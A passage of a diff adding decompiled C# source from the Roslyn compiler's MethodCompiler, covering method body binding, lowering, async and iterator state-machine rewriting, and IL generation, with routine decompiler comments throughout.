synthesizedClosureMethod.TopLevelMethod, ((BindingDiagnosticBag)instance2).DiagnosticBag) : _moduleBeingBuiltOpt.TryCreateVariableSlotAllocator(method, method, ((BindingDiagnosticBag)instance2).DiagnosticBag)); + MethodBody val2 = null; + try + { + IteratorStateMachine stateMachineType; + BoundStatement boundStatement = IteratorRewriter.Rewrite(current.Body, method, -1, instance, val, compilationState, instance2, out stateMachineType); + StateMachineTypeSymbol stateMachineTypeSymbol = stateMachineType; + if (!boundStatement.HasErrors) + { + boundStatement = AsyncRewriter.Rewrite(boundStatement, method, -1, instance, val, compilationState, instance2, out AsyncStateMachine stateMachineType2); + stateMachineTypeSymbol = stateMachineTypeSymbol ?? stateMachineType2; + } + SetGlobalErrorIfTrue(((BindingDiagnosticBag)instance2).HasAnyErrors()); + if (_emitMethodBodies && !((BindingDiagnosticBag)instance2).HasAnyErrors() && !_globalHasErrors) + { + val2 = GenerateMethodBody(_moduleBeingBuiltOpt, method, -1, boundStatement, ImmutableArray.Empty, ImmutableArray.Empty, instance.ToImmutable(), stateMachineTypeSymbol, val, instance2, GetDebugDocumentProvider(MethodInstrumentation.Empty), method.GenerateDebugInfo ? importChain : null, _emittingPdb, ImmutableArray.Empty, _entryPointOpt); + } + } + catch (BoundTreeVisitor.CancelledByStackGuardException ex) + { + ex.AddAnError(_diagnostics); + } + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance2, false); + ((BindingDiagnosticBag)(object)instance2).Free(); + if (_emitMethodBodies) + { + if (val2 == null) + { + break; + } + ((CommonPEModuleBuilder)_moduleBeingBuiltOpt).SetMethodBody((IMethodSymbolInternal)(object)method, (IMethodBody)(object)val2); + } + instance.Clear(); + } + } + finally + { + compilationState.CurrentImportChain = currentImportChain; + instance.Free(); + } + } + + private static bool IsFieldLikeEventAccessor(MethodSymbol method) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + Symbol associatedSymbol = method.AssociatedSymbol; + if ((object)associatedSymbol != null && (int)associatedSymbol.Kind == 5) + { + return ((EventSymbol)associatedSymbol).HasAssociatedField; + } + return false; + } + + private void CompileSynthesizedExplicitImplementations(SourceMemberContainerTypeSymbol sourceTypeSymbol, TypeCompilationState compilationState) + { + if (!_globalHasErrors) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + ImmutableArray.Enumerator enumerator = sourceTypeSymbol.GetSynthesizedExplicitImplementations(_cancellationToken).ForwardingMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + SynthesizedExplicitImplementationForwardingMethod current = enumerator.Current; + current.GenerateMethodBody(compilationState, instance); + ((BindingDiagnosticBag)instance).DiagnosticBag.Clear(); + ((PEModuleBuilder)_moduleBeingBuiltOpt).AddSynthesizedDefinition((NamedTypeSymbol)sourceTypeSymbol, (IMethodDefinition)(object)current.GetCciAdapter()); + } + ((BindingDiagnosticBag)(object)_diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + } + } + + private void CompileSynthesizedSealedAccessors(SourcePropertySymbolBase sourceProperty, TypeCompilationState compilationState) + { + SynthesizedSealedPropertyAccessor synthesizedSealedAccessorOpt = sourceProperty.SynthesizedSealedAccessorOpt; + if ((object)synthesizedSealedAccessorOpt != null && !_globalHasErrors) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + synthesizedSealedAccessorOpt.GenerateMethodBody(compilationState, instance); + ((BindingDiagnosticBag)(object)_diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + ((BindingDiagnosticBag)(object)instance).Free(); + ((PEModuleBuilder)_moduleBeingBuiltOpt).AddSynthesizedDefinition(sourceProperty.ContainingType, (IMethodDefinition)(object)synthesizedSealedAccessorOpt.GetCciAdapter()); + } + } + + private void CompileFieldLikeEventAccessor(SourceEventSymbol eventSymbol, bool isAddMethod) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = (isAddMethod ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + try + { + BoundBlock block = MethodBodySynthesizer.ConstructFieldLikeEventAccessorBody(eventSymbol, isAddMethod, _compilation, instance); + bool flag = ((BindingDiagnosticBag)instance).HasAnyErrors(); + SetGlobalErrorIfTrue(flag); + if (!flag && !_hasDeclarationErrors && _emitMethodBodies) + { + MethodInstrumentation methodBodyInstrumentations = _moduleBeingBuiltOpt.GetMethodBodyInstrumentations(methodSymbol); + MethodBody val = GenerateMethodBody(_moduleBeingBuiltOpt, methodSymbol, -1, block, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, null, null, instance, GetDebugDocumentProvider(methodBodyInstrumentations), null, emittingPdb: false, ImmutableArray.Empty, null); + ((CommonPEModuleBuilder)_moduleBeingBuiltOpt).SetMethodBody((IMethodSymbolInternal)(object)methodSymbol, (IMethodBody)(object)val); + } + } + finally + { + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + + public override object VisitMethod(MethodSymbol symbol, TypeCompilationState arg) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 919); + } + + public override object VisitProperty(PropertySymbol symbol, TypeCompilationState argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 924); + } + + public override object VisitEvent(EventSymbol symbol, TypeCompilationState argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 929); + } + + public override object VisitField(FieldSymbol symbol, TypeCompilationState argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 934); + } + + private void CompileMethod(MethodSymbol methodSymbol, int methodOrdinal, ref Binder.ProcessedFieldInitializers processedInitializers, SynthesizedSubmissionFields previousSubmissionFields, TypeCompilationState compilationState) + { + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_04a2: Unknown result type (might be due to invalid IL or missing references) + //IL_04a7: Unknown result type (might be due to invalid IL or missing references) + //IL_05c3: Unknown result type (might be due to invalid IL or missing references) + //IL_04d6: Unknown result type (might be due to invalid IL or missing references) + //IL_04db: Unknown result type (might be due to invalid IL or missing references) + //IL_0606: Unknown result type (might be due to invalid IL or missing references) + //IL_0609: Unknown result type (might be due to invalid IL or missing references) + //IL_0596: Unknown result type (might be due to invalid IL or missing references) + //IL_05a0: Expected O, but got Unknown + //IL_07a2: Unknown result type (might be due to invalid IL or missing references) + //IL_07a5: Unknown result type (might be due to invalid IL or missing references) + //IL_08dd: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + SourceMemberMethodSymbol sourceMemberMethodSymbol = methodSymbol as SourceMemberMethodSymbol; + if (!methodSymbol.IsAbstract) + { + NamedTypeSymbol containingType = methodSymbol.ContainingType; + if ((object)containingType == null || !containingType.IsDelegateType()) + { + if (_moduleBeingBuiltOpt == null && (object)sourceMemberMethodSymbol != null) + { + ImmutableArray diagnostics = sourceMemberMethodSymbol.Diagnostics; + if (!diagnostics.IsDefault) + { + ((BindingDiagnosticBag)_diagnostics).AddRange(diagnostics); + return; + } + } + ImportChain currentImportChain = compilationState.CurrentImportChain; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + try + { + if (methodSymbol.SynthesizesLoweredBoundBody) + { + if (_moduleBeingBuiltOpt != null) + { + methodSymbol.GenerateMethodBody(compilationState, instance); + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + } + else + { + if (methodSymbol.IsDefaultValueTypeConstructor()) + { + return; + } + bool flag = false; + bool originalBodyNested = false; + MethodInstrumentation instrumentation = compilationState.ModuleBuilderOpt?.GetMethodBodyInstrumentations(methodSymbol) ?? MethodInstrumentation.Empty; + BoundStatementList boundStatementList = null; + MethodBodySemanticModel.InitialState forSemanticModel = default(MethodBodySemanticModel.InitialState); + ImportChain importChain = null; + bool hasTrailingExpression = false; + BoundBlock boundBlock; + ImmutableArray implicitlyInitializedFieldsOpt; + if (methodSymbol.IsScriptConstructor) + { + boundBlock = new BoundBlock((SyntaxNode)(object)methodSymbol.GetNonNullSyntaxNode(), ImmutableArray.Empty, ImmutableArray.Empty) + { + WasCompilerGenerated = true + }; + } + else if (methodSymbol.IsScriptInitializer) + { + BoundTypeOrInstanceInitializers boundTypeOrInstanceInitializers = InitializerRewriter.RewriteScriptInitializer(processedInitializers.BoundInitializers, (SynthesizedInteractiveInitializerMethod)methodSymbol, out hasTrailingExpression); + boundBlock = BoundBlock.SynthesizedNoLocals(boundTypeOrInstanceInitializers.Syntax, boundTypeOrInstanceInitializers.Statements); + if (ReportNullableDiagnostics) + { + NullableWalker.AnalyzeIfNeeded(_compilation, methodSymbol, boundTypeOrInstanceInitializers, ((BindingDiagnosticBag)instance).DiagnosticBag, useConstructorExitWarnings: false, null, getFinalNullableState: true, null, out NullableWalker.VariableState _); + } + DiagnosticBag instance2 = DiagnosticBag.GetInstance(); + DefiniteAssignmentPass.Analyze(_compilation, methodSymbol, boundTypeOrInstanceInitializers, instance2, out implicitlyInitializedFieldsOpt, requireOutParamsAssigned: false); + DiagnosticsPass.IssueDiagnostics(_compilation, boundTypeOrInstanceInitializers, BindingDiagnosticBag.Discarded, methodSymbol); + instance2.Free(); + } + else + { + bool flag2 = methodSymbol.IncludeFieldInitializersInBody(); + flag = flag2 && !processedInitializers.BoundInitializers.IsDefaultOrEmpty; + if (flag && processedInitializers.LoweredInitializers == null) + { + boundStatementList = InitializerRewriter.RewriteConstructor(processedInitializers.BoundInitializers, methodSymbol); + processedInitializers.HasErrors = processedInitializers.HasErrors || boundStatementList.HasAnyErrors; + RefSafetyAnalysis.Analyze(_compilation, methodSymbol, new BoundBlock(boundStatementList.Syntax, ImmutableArray.Empty, boundStatementList.Statements), instance); + } + boundBlock = BindMethodBody(methodSymbol, compilationState, instance, flag2, boundStatementList, ReportNullableDiagnostics, out importChain, out originalBodyNested, out bool prependedDefaultValueTypeConstructorInitializer, out forSemanticModel); + if (((BindingDiagnosticBag)instance).HasAnyErrors() && boundBlock != null) + { + boundBlock = (BoundBlock)boundBlock.WithHasErrors(); + } + if (flag && processedInitializers.LoweredInitializers == null) + { + if (boundBlock != null && ((methodSymbol.ContainingType.IsStructType() && !methodSymbol.IsImplicitConstructor) || methodSymbol is SynthesizedPrimaryConstructor || ((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)1) || ((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)(-1)))) + { + if (methodSymbol.IsImplicitConstructor && (((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)1) || ((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)(-1)))) + { + DefiniteAssignmentPass.Analyze(_compilation, methodSymbol, boundStatementList, ((BindingDiagnosticBag)instance).DiagnosticBag, out implicitlyInitializedFieldsOpt, requireOutParamsAssigned: false); + } + int index = 0; + if (originalBodyNested && prependedDefaultValueTypeConstructorInitializer) + { + index = 1; + } + boundBlock = boundBlock.Update(boundBlock.Locals, boundBlock.LocalFunctions, boundBlock.HasUnsafeModifier, boundBlock.Instrumentation, boundBlock.Statements.Insert(index, boundStatementList)); + flag = false; + boundStatementList = null; + } + else + { + DefiniteAssignmentPass.Analyze(_compilation, methodSymbol, boundStatementList, ((BindingDiagnosticBag)instance).DiagnosticBag, out implicitlyInitializedFieldsOpt, requireOutParamsAssigned: false); + DiagnosticsPass.IssueDiagnostics(_compilation, boundStatementList, instance, methodSymbol); + } + } + } + importChain = (compilationState.CurrentImportChain = importChain ?? processedInitializers.FirstImportChain); + if (boundBlock != null) + { + DiagnosticsPass.IssueDiagnostics(_compilation, boundBlock, instance, methodSymbol); + } + BoundBlock boundBlock2 = null; + if (boundBlock != null) + { + boundBlock2 = FlowAnalysisPass.Rewrite(methodSymbol, boundBlock, compilationState, instance, hasTrailingExpression, originalBodyNested); + } + bool flag3 = _hasDeclarationErrors || ((BindingDiagnosticBag)instance).HasAnyErrors() || processedInitializers.HasErrors; + SetGlobalErrorIfTrue(flag3); + ImmutableBindingDiagnostic val = ((BindingDiagnosticBag)(object)instance).ToReadOnly(); + if (sourceMemberMethodSymbol != null) + { + ((Compilation)_compilation).RegisterPossibleUpcomingEventEnqueue(); + try + { + val = new ImmutableBindingDiagnostic(sourceMemberMethodSymbol.SetDiagnostics(val.Diagnostics, out var diagsWritten), val.Dependencies); + if (diagsWritten && !methodSymbol.IsImplicitlyDeclared && ((Compilation)_compilation).EventQueue != null) + { + SyntaxTreeSemanticModel semanticModelWithCachedBoundNodes = null; + if (boundBlock != null) + { + CSharpSyntaxNode syntax = forSemanticModel.Syntax; + if (syntax != null) + { + SemanticModelProvider semanticModelProvider = ((Compilation)_compilation).SemanticModelProvider; + CachingSemanticModelProvider val2 = (CachingSemanticModelProvider)(object)((semanticModelProvider is CachingSemanticModelProvider) ? semanticModelProvider : null); + if (val2 != null) + { + SyntaxNode syntax2 = boundBlock.Syntax; + semanticModelWithCachedBoundNodes = (SyntaxTreeSemanticModel)(object)((SemanticModelProvider)val2).GetSemanticModel(syntax2.SyntaxTree, (Compilation)(object)_compilation, false); + semanticModelWithCachedBoundNodes.GetOrAddModel(syntax, (CSharpSyntaxNode rootSyntax) => MethodBodySemanticModel.Create(semanticModelWithCachedBoundNodes, methodSymbol, forSemanticModel)); + } + } + } + ((Compilation)_compilation).EventQueue.TryEnqueue((CompilationEvent)new SymbolDeclaredCompilationEvent((Compilation)(object)_compilation, (ISymbolInternal)(object)methodSymbol, (SemanticModel)(object)semanticModelWithCachedBoundNodes)); + } + } + finally + { + ((Compilation)_compilation).UnregisterPossibleUpcomingEventEnqueue(); + } + } + if (!(_moduleBeingBuiltOpt == null || flag3)) + { + bool flag4 = boundBlock2 != null; + VariableSlotAllocator lazyVariableSlotAllocator = null; + StateMachineTypeSymbol stateMachineTypeOpt = null; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + ArrayBuilder instance5 = ArrayBuilder.GetInstance(); + BoundStatement boundStatement = null; + try + { + ImmutableArray codeCoverageSpans; + if (flag4) + { + boundStatement = LowerBodyOrInitializer(methodSymbol, methodOrdinal, boundBlock2, previousSubmissionFields, compilationState, instrumentation, GetDebugDocumentProvider(instrumentation), out codeCoverageSpans, instance, ref lazyVariableSlotAllocator, instance3, instance4, instance5, out stateMachineTypeOpt); + } + else + { + boundStatement = null; + codeCoverageSpans = ImmutableArray.Empty; + } + flag3 = flag3 || (flag4 && boundStatement.HasErrors) || ((BindingDiagnosticBag)instance).HasAnyErrors(); + SetGlobalErrorIfTrue(flag3); + CSharpSyntaxNode nonNullSyntaxNode = methodSymbol.GetNonNullSyntaxNode(); + if (!flag3 && (flag4 || flag)) + { + ImmutableArray immutableArray; + if (methodSymbol.IsScriptConstructor) + { + immutableArray = MethodBodySynthesizer.ConstructScriptConstructorBody(boundStatement, methodSymbol, previousSubmissionFields, _compilation); + } + else + { + immutableArray = ImmutableArray.Empty; + if (methodSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) + { + IReadOnlyDictionary capturedParameters = synthesizedPrimaryConstructor.GetCapturedParameters(); + if (capturedParameters.Count != 0) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(methodSymbol, (SyntaxNode)(object)nonNullSyntaxNode, compilationState, instance); + ArrayBuilder instance6 = ArrayBuilder.GetInstance(capturedParameters.Count); + ParameterSymbol parameterSymbol = default(ParameterSymbol); + FieldSymbol fieldSymbol = default(FieldSymbol); + foreach (KeyValuePair item in capturedParameters.OrderBy((KeyValuePair pair) => pair.Key.Ordinal)) + { + KeyValuePairUtil.Deconstruct(item, ref parameterSymbol, ref fieldSymbol); + ParameterSymbol p = parameterSymbol; + FieldSymbol f = fieldSymbol; + instance6.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), f), syntheticBoundNodeFactory.Parameter(p))); + } + immutableArray = immutableArray.Insert(0, syntheticBoundNodeFactory.HiddenSequencePoint(syntheticBoundNodeFactory.StatementList(instance6.ToImmutableAndFree()))); + } + } + if (boundStatementList != null) + { + ImmutableArray codeCoverageSpans2; + StateMachineTypeSymbol stateMachineTypeOpt2; + BoundStatement boundStatement2 = (processedInitializers.LoweredInitializers = LowerBodyOrInitializer(methodSymbol, methodOrdinal, boundStatementList, previousSubmissionFields, compilationState, instrumentation, GetDebugDocumentProvider(instrumentation), out codeCoverageSpans2, instance, ref lazyVariableSlotAllocator, instance3, instance4, instance5, out stateMachineTypeOpt2)); + flag3 = boundStatement2.HasAnyErrors || ((BindingDiagnosticBag)instance).HasAnyErrors(); + SetGlobalErrorIfTrue(flag3); + if (flag3) + { + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + return; + } + processedInitializers.LoweredInitializers = (BoundStatementList)boundStatement2; + } + if (flag) + { + if (processedInitializers.LoweredInitializers.Kind == BoundKind.StatementList) + { + BoundStatementList boundStatementList2 = (BoundStatementList)processedInitializers.LoweredInitializers; + immutableArray = ImmutableArrayExtensions.Concat(immutableArray, boundStatementList2.Statements); + } + else + { + immutableArray = immutableArray.Add(processedInitializers.LoweredInitializers); + } + } + if (flag4) + { + immutableArray = ImmutableArrayExtensions.Concat(immutableArray, boundStatement); + } + flag3 = ((BindingDiagnosticBag)instance).HasAnyErrors(); + SetGlobalErrorIfTrue(flag3); + if (flag3) + { + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + return; + } + } + if (_emitMethodBodies && (!(methodSymbol is SynthesizedStaticConstructor synthesizedStaticConstructor) || synthesizedStaticConstructor.ShouldEmit(processedInitializers.BoundInitializers))) + { + BoundStatementList block = BoundStatementList.Synthesized((SyntaxNode)(object)nonNullSyntaxNode, immutableArray); + MethodBody val3 = GenerateMethodBody(_moduleBeingBuiltOpt, methodSymbol, methodOrdinal, block, instance3.ToImmutable(), instance4.ToImmutable(), instance5.ToImmutable(), stateMachineTypeOpt, lazyVariableSlotAllocator, instance, GetDebugDocumentProvider(instrumentation), importChain, _emittingPdb, codeCoverageSpans, null); + ((CommonPEModuleBuilder)_moduleBeingBuiltOpt).SetMethodBody((IMethodSymbolInternal)(object)(methodSymbol.PartialDefinitionPart ?? methodSymbol), (IMethodBody)(object)val3); + } + } + ((BindingDiagnosticBag)(object)_diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + return; + } + finally + { + instance3.Free(); + instance4.Free(); + instance5.Free(); + } + } + ((BindingDiagnosticBag)(object)_diagnostics).AddRange(val, false); + } + return; + } + finally + { + ((BindingDiagnosticBag)(object)instance).Free(); + compilationState.CurrentImportChain = currentImportChain; + } + } + } + if ((object)sourceMemberMethodSymbol != null) + { + sourceMemberMethodSymbol.SetDiagnostics(ImmutableArray.Empty, out var diagsWritten2); + if (diagsWritten2 && !methodSymbol.IsImplicitlyDeclared && ((Compilation)_compilation).EventQueue != null) + { + _compilation.SymbolDeclaredEvent(methodSymbol); + } + } + } + + internal static BoundStatement LowerBodyOrInitializer(MethodSymbol method, int methodOrdinal, BoundStatement body, SynthesizedSubmissionFields previousSubmissionFields, TypeCompilationState compilationState, MethodInstrumentation instrumentation, DebugDocumentProvider debugDocumentProvider, out ImmutableArray codeCoverageSpans, BindingDiagnosticBag diagnostics, ref VariableSlotAllocator lazyVariableSlotAllocator, ArrayBuilder lambdaDebugInfoBuilder, ArrayBuilder closureDebugInfoBuilder, ArrayBuilder stateMachineStateDebugInfoBuilder, out StateMachineTypeSymbol stateMachineTypeOpt) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + stateMachineTypeOpt = null; + if (body.HasErrors) + { + codeCoverageSpans = ImmutableArray.Empty; + return body; + } + try + { + bool sawLambdas; + bool sawLocalFunctions; + bool sawAwaitInExceptionHandler; + BoundStatement boundStatement = LocalRewriter.Rewrite(method.DeclaringCompilation, method, methodOrdinal, method.ContainingType, body, compilationState, previousSubmissionFields, allowOmissionOfConditionalCalls: true, instrumentation, debugDocumentProvider, diagnostics, out codeCoverageSpans, out sawLambdas, out sawLocalFunctions, out sawAwaitInExceptionHandler); + if (boundStatement.HasErrors) + { + return boundStatement; + } + if (sawAwaitInExceptionHandler) + { + boundStatement = AsyncExceptionHandlerRewriter.Rewrite(method, method.ContainingType, boundStatement, compilationState, diagnostics); + } + if (boundStatement.HasErrors) + { + return boundStatement; + } + if (lazyVariableSlotAllocator == null) + { + lazyVariableSlotAllocator = compilationState.ModuleBuilderOpt.TryCreateVariableSlotAllocator(method, method, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + BoundStatement boundStatement2 = boundStatement; + if (sawLambdas || sawLocalFunctions) + { + boundStatement2 = ClosureConversion.Rewrite(boundStatement, method.ContainingType, method.ThisParameter, method, methodOrdinal, null, lambdaDebugInfoBuilder, closureDebugInfoBuilder, lazyVariableSlotAllocator, compilationState, diagnostics, null); + } + if (boundStatement2.HasErrors) + { + return boundStatement2; + } + IteratorStateMachine stateMachineType; + BoundStatement boundStatement3 = IteratorRewriter.Rewrite(boundStatement2, method, methodOrdinal, stateMachineStateDebugInfoBuilder, lazyVariableSlotAllocator, compilationState, diagnostics, out stateMachineType); + if (boundStatement3.HasErrors) + { + return boundStatement3; + } + AsyncStateMachine stateMachineType2; + BoundStatement result = AsyncRewriter.Rewrite(boundStatement3, method, methodOrdinal, stateMachineStateDebugInfoBuilder, lazyVariableSlotAllocator, compilationState, diagnostics, out stateMachineType2); + stateMachineTypeOpt = (StateMachineTypeSymbol)(((object)stateMachineType) ?? ((object)stateMachineType2)); + return result; + } + catch (BoundTreeVisitor.CancelledByStackGuardException ex) + { + codeCoverageSpans = ImmutableArray.Empty; + ex.AddAnError(diagnostics); + return new BoundBadStatement(body.Syntax, ImmutableArray.Create((BoundNode)body), hasErrors: true); + } + } + + private static MethodBody GenerateMethodBody(PEModuleBuilder moduleBuilder, MethodSymbol method, int methodOrdinal, BoundStatement block, ImmutableArray lambdaDebugInfo, ImmutableArray closureDebugInfo, ImmutableArray stateMachineStateDebugInfos, StateMachineTypeSymbol stateMachineTypeOpt, VariableSlotAllocator variableSlotAllocatorOpt, BindingDiagnosticBag diagnostics, DebugDocumentProvider debugDocumentProvider, ImportChain importChainOpt, bool emittingPdb, ImmutableArray codeCoverageSpans, SynthesizedEntryPointSymbol.AsyncForwardEntryPoint entryPointOpt) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Expected O, but got Unknown + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected O, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Expected O, but got Unknown + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Expected O, but got Unknown + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_0259: Unknown result type (might be due to invalid IL or missing references) + //IL_026b: Unknown result type (might be due to invalid IL or missing references) + //IL_0272: Expected O, but got Unknown + CSharpCompilation compilation = ((PEModuleBuilder)moduleBuilder).Compilation; + LocalSlotManager val = new LocalSlotManager(variableSlotAllocatorOpt); + OptimizationLevel optimizationLevel = ((CompilationOptions)compilation.Options).OptimizationLevel; + ILBuilder val2 = new ILBuilder((ITokenDeferral)(object)moduleBuilder, val, optimizationLevel, method.AreLocalsZeroed); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + try + { + StateMachineMoveNextBodyDebugInfo val3 = null; + CodeGenerator codeGenerator = new CodeGenerator(method, block, val2, moduleBuilder, instance, optimizationLevel, emittingPdb); + if (((BindingDiagnosticBag)instance).HasAnyErrors()) + { + return null; + } + bool flag; + MethodSymbol kickoffMethod; + if (method is SynthesizedStateMachineMethod synthesizedStateMachineMethod && method.Name == "MoveNext") + { + kickoffMethod = synthesizedStateMachineMethod.StateMachineType.KickoffMethod; + flag = kickoffMethod.IsAsync; + kickoffMethod = kickoffMethod.PartialDefinitionPart ?? kickoffMethod; + } + else + { + kickoffMethod = null; + flag = false; + } + bool hasStackalloc; + if (flag) + { + codeGenerator.Generate(out var asyncCatchHandlerOffset, out var asyncYieldPoints, out var asyncResumePoints, out hasStackalloc); + bool flag2 = entryPointOpt?.UserMain.Equals(kickoffMethod) ?? false; + val3 = (StateMachineMoveNextBodyDebugInfo)new AsyncMoveNextBodyDebugInfo((IMethodDefinition)(object)kickoffMethod.GetCciAdapter(), (kickoffMethod.ReturnsVoid || flag2) ? asyncCatchHandlerOffset : (-1), asyncYieldPoints, asyncResumePoints); + } + else + { + codeGenerator.Generate(out hasStackalloc); + if ((object)kickoffMethod != null) + { + val3 = (StateMachineMoveNextBodyDebugInfo)new IteratorMoveNextBodyDebugInfo((IMethodDefinition)(object)kickoffMethod.GetCciAdapter()); + } + } + ImmutableArray immutableArray = (((object)kickoffMethod != null) ? val2.GetHoistedLocalScopes() : default(ImmutableArray)); + IImportScope val4 = importChainOpt?.Translate(moduleBuilder, ((BindingDiagnosticBag)instance).DiagnosticBag); + ImmutableArray immutableArray2 = val2.LocalSlotManager.LocalsInOrder(); + if (immutableArray2.Length > 65534) + { + instance.Add(ErrorCode.ERR_TooManyLocals, method.GetFirstLocation()); + } + if (((BindingDiagnosticBag)instance).HasAnyErrors()) + { + return null; + } + CompilationTestData testData = ((CommonPEModuleBuilder)moduleBuilder).TestData; + if (testData != null) + { + testData.SetMethodILBuilder((IMethodSymbolInternal)(object)method, val2.GetSnapshot()); + } + ImmutableArray hoistedVariableSlots = default(ImmutableArray); + ImmutableArray awaiterSlots = default(ImmutableArray); + if ((int)optimizationLevel == 0 && (object)stateMachineTypeOpt != null) + { + GetStateMachineSlotDebugInfo(moduleBuilder, ((PEModuleBuilder)moduleBuilder).GetSynthesizedFields((NamedTypeSymbol)stateMachineTypeOpt), variableSlotAllocatorOpt, instance, out hoistedVariableSlots, out awaiterSlots); + } + return new MethodBody(val2.RealizedIL, val2.MaxStack, (IMethodDefinition)(object)(method.PartialDefinitionPart ?? method).GetCciAdapter(), (DebugId)(((_003F?)((variableSlotAllocatorOpt != null) ? variableSlotAllocatorOpt.MethodId : ((DebugId?)null))) ?? new DebugId(methodOrdinal, ((CommonPEModuleBuilder)moduleBuilder).CurrentGenerationOrdinal)), immutableArray2, val2.RealizedSequencePoints, debugDocumentProvider, val2.RealizedExceptionHandlers, val2.AreLocalsZeroed, hasStackalloc, val2.GetAllScopes(), val2.HasDynamicLocal, val4, lambdaDebugInfo, closureDebugInfo, stateMachineTypeOpt?.Name, immutableArray, hoistedVariableSlots, awaiterSlots, StateMachineStatesDebugInfo.Create(variableSlotAllocatorOpt, stateMachineStateDebugInfos), val3, codeCoverageSpans, method is SynthesizedPrimaryConstructor); + } + finally + { + val2.FreeBasicBlocks(); + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + + private static void GetStateMachineSlotDebugInfo(PEModuleBuilder moduleBuilder, IEnumerable fieldDefs, VariableSlotAllocator variableSlotAllocatorOpt, BindingDiagnosticBag diagnostics, out ImmutableArray hoistedVariableSlots, out ImmutableArray awaiterSlots) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + foreach (StateMachineFieldSymbol fieldDef in fieldDefs) + { + int slotIndex = fieldDef.SlotIndex; + if ((int)fieldDef.SlotDebugInfo.SynthesizedKind == 256) + { + while (slotIndex >= instance2.Count) + { + instance2.Add((ITypeReference)null); + } + instance2[slotIndex] = ((PEModuleBuilder)moduleBuilder).EncTranslateLocalVariableType(fieldDef.Type, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + else if (!((LocalDebugId)(ref fieldDef.SlotDebugInfo.Id)).IsNone) + { + while (slotIndex >= instance.Count) + { + instance.Add(new EncHoistedLocalInfo(true)); + } + instance[slotIndex] = new EncHoistedLocalInfo(fieldDef.SlotDebugInfo, ((PEModuleBuilder)moduleBuilder).EncTranslateLocalVariableType(fieldDef.Type, ((BindingDiagnosticBag)diagnostics).DiagnosticBag)); + } + } + if (variableSlotAllocatorOpt != null) + { + int previousAwaiterSlotCount = 